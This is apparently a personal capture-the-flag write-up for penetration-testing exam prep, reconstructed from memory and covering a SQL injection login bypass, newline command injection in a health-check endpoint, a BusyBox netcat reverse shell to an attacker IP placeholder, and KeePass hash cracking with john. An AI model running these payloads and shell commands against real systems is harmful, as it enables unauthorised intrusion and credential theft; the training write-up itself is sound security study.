Silent Monitor CTF
Table of Contents
Description
PT1 prep CTF completed at work — less involved than Domino, single linear attack chain rather than multiple parallel vulnerability classes. No live notes taken during the attempt; writeup reconstructed from memory post-completion.
CTF
Attack chain summary
- Enumeration — standard nmap/directory discovery, located login page
- SQL injection on login form — authentication bypass
- Command injection — used post-auth access to achieve remote shell
- Found credentials for a low-privileged user on the box — SSH access
- User flag captured
- KeePass database found in that user's backups
- Cracked KeePass master password with keepass2john + john
- Root credentials recovered from inside the KeePass DB
- su to root using recovered credentials — root flag captured
Foothold
SQL injection — login bypass
Payload used in login form:
' or 1=1; --
Classic auth bypass — injected into (likely) username field, comment
sequence (--) truncates rest of query so password check never
evaluates. TODO: confirm exact field and whether space after -- was
required by the DB engine in use.
Command injection — remote shell
Vulnerable endpoint: health check (likely /health or similar,
probably wrapping a system ping command server-side)
Technique:
- Endpoint accepts a host/IP parameter and shells out to system
ping - Separating commands with a newline in Burp (rather than typical
;or&&chaining) bypassed input validation/sanitisation and achieved command injection - TODO: capture exact request/parameter name and payload structure on retest — newline-based injection is a less common technique worth having precisely documented
Shell obtained via BusyBox netcat already present on target:
# on attack machine nc -lvnp <PORT> # injected via health endpoint (newline-separated) busybox nc <ATTACKER_IP> <PORT> -e /bin/sh
Privilege Escalation
Credential discovery
Low-priv user creds found on box post-shell (location/method TBD — config file, script, history file, etc. — needs reconstruction)
KeePass database cracking
keepass2john backup.kdbx > keepass.hash john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash
DB opened with cracked password, root creds found inside as stored entry
Root access
su - root # authenticated with credentials recovered from KeePass DB
Flags
DONE User flag
DONE Root flag
Notes
Reconstructed writeup — payloads, exact endpoints, and file paths are approximate pending retest. If this room stays available, worth re-running once to capture precise commands/payloads for the KB before PT1 retake, since exact SQLi syntax and injection point are the details likely to matter for exam-style reporting.
Comparison to Domino CTF
Domino chains multiple independent access-control/API bugs (IDOR, JWT weaknesses, XSS) — closer to real-world web app testing. Dead Drop is a single linear chain through classic vulnerability classes (SQLi -> command injection -> credential reuse -> offline cracking) — closer to a "fundamentals refresher" than API-specific practice.